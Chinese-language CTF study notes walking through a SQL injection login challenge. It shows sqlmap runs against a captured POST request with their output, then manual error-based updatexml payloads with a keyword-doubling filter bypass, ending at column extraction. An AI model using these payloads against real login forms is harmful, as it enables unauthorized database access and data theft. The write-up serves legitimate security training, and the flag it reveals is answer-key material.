[第一章 web入门]SQL注入-2

一、信息收集
- 1.首页
- 2.登录成功会跳转到
- 3.进行测试判断
二、尝试破解
- 1.用post型的sqlmap破解
- - <1>.首先，开burp截包
  - <2>.输入username,passwd，提交。
  - <3>.copy to file，保存为txt文件,放到sqlmap的目录,(MyFile/bf.txt)
  - <4>.开始跑sqlmap破解
  - <5>.按步就班
  - - [1].sqlmap爆当前数据库信息
    - [2].sqlmap.列出指定数据库所有的表名
    - [3].sqlmap 列出指定表名的所有列名
    - [4].sqlmap 打印输出表名指定列名字段的值数据
- 2.手动破解(在bp上进行)[官方的答案]
- - [1].判断注入类型
  - [2].于是使用报错注入获取表名和列名，即可得到flag。
  - [3].同理获得列名
  - [4].获得flag

介绍:记录一下笔记，方便以后迅速回忆使用。

《从0到1：CTFer成长之路》书籍配套题目，来源网站：《从0到1：CTFer成长之路》

一、信息收集

1.首页

…/login.php

2.登录成功会跳转到

…/user.php

3.进行测试判断

[1].先用Burp suite抓包看一下
提交的信息有

name=user&pass=passwd

二、尝试破解

1.用post型的sqlmap破解

<1>.首先，开burp截包

<2>.输入username,passwd，提交。

可以看见，burp已经把id获取到了

<3>.copy to file，保存为txt文件,放到sqlmap的目录,(MyFile/bf.txt)

<4>.开始跑sqlmap破解

python sqlmap.py -r MyFile/bf.txt

结果

---
Parameter: name (POST)Type: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: name=username' AND (SELECT 1848 FROM (SELECT(SLEEP(5)))DRxp) AND 'PkUZ'='PkUZ&pass=passwd
---

成功找到注入点,那剩下的就按步就班

<5>.按步就班

[1].sqlmap爆当前数据库信息

python sqlmap.py -r MyFile/bf.txt --current-db

[10:10:29] [INFO] adjusting time delay to 1 second due to good response times
note
current database: 'note'

用sqlmap爆出库名:note

[2].sqlmap.列出指定数据库所有的表名

python sqlmap.py -r MyFile/bf.txt -D note --tables

[10:14:41] [INFO] retrieved:
[10:14:47] [INFO] adjusting time delay to 1 second due to good response times
fl4g
[10:15:02] [INFO] retrieved: users
Database: note
[2 tables]
+-------+
| fl4g  |
| users |
+-------+

用sqlmap爆出表名:fl4g,users

[3].sqlmap 列出指定表名的所有列名

先看fl4g表

python sqlmap.py -r MyFile/bf.txt -D note  -T fl4g --columns

[10:18:22] [INFO] retrieved: varchar(40)
Database: note
Table: fl4g
[1 column]
+--------+-------------+
| Column | Type        |
+--------+-------------+
| flag   | varchar(40) |
+--------+-------------+

用sqlmap爆出列名:flag

[4].sqlmap 打印输出表名指定列名字段的值数据

python sqlmap.py -r MyFile/bf.txt -D note  -T fl4g  -C flag --dump

[10:23:26] [WARNING] increasing time delay to 2 seconds
in_sqli_is_nice}
Database: note
Table: fl4g
[1 entry]
+----------------------------+
| flag                       |
+----------------------------+
| n1book{login_sqli_is_nice} |
+----------------------------+

终于拿到flag n1book{login_sqli_is_nice}大功告成。

2.手动破解(在bp上进行)[官方的答案]

[1].判断注入类型

页面注释中有提示，在url中加入?tips=1出现报错信息。

使用跟上面同样的包，改变下面的用户名和密码进行发送。
使用报错注入时可以发现

name=test'and
updatexml(1,concat(0x7e,(select
1)),1)#&pass=xxxx

updatexml函数在在执行时，第2个参数应为合法的xpath路径，否则会在引发错误的同时将传入的参数进行输出。
利用这个特征，针对存在报错显示的例子，将我们想得到的信息传入updatexml函数的第2个参数，

回显正常报错
请求

name=test'and
updatexml(1,concat(0x7e,(select(1)from
dual)),1)#&pass=xxxx

回显(响应)

string(165) "You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'from
dual)),1)#'' at line 2"
{"error":1,"msg":"\u8d26\u53f7\u4e0d\u5b58\u5728"}

[3].说明我们的sql语句被进行了某种替换，导致语法错误。
尝试

name=test'and       updatexml(1,concat(0x7e,(selselectect(1)from
dual)),1)#&pass=xxxx

时发现回显正常

[2].于是使用报错注入获取表名和列名，即可得到flag。

请求

name=test'and
updatexml(1,concat(0x7e,
(selselectect(group_concat(table_name))from
information_schema.tables
where
table_schema=database())),1)#&pass=xxxx

响应

string(33) "XPATH syntax error: '~fl4g,users'"
{"error":1,"msg":"\u8d26\u53f7\u4e0d\u5b58\u5728"}

爆出表名:fl4g,users

[3].同理获得列名

请求

name=test'and
updatexml(1,concat(0x7e,
(selselectect(group_concat(column_name))from
information_schema.columns
where
table_name='fl4g')),1)#&pass=xxxx

响应

string(27) "XPATH syntax error: '~flag'"
{"error":1,"msg":"\u8d26\u53f7\u4e0d\u5b58\u5728"}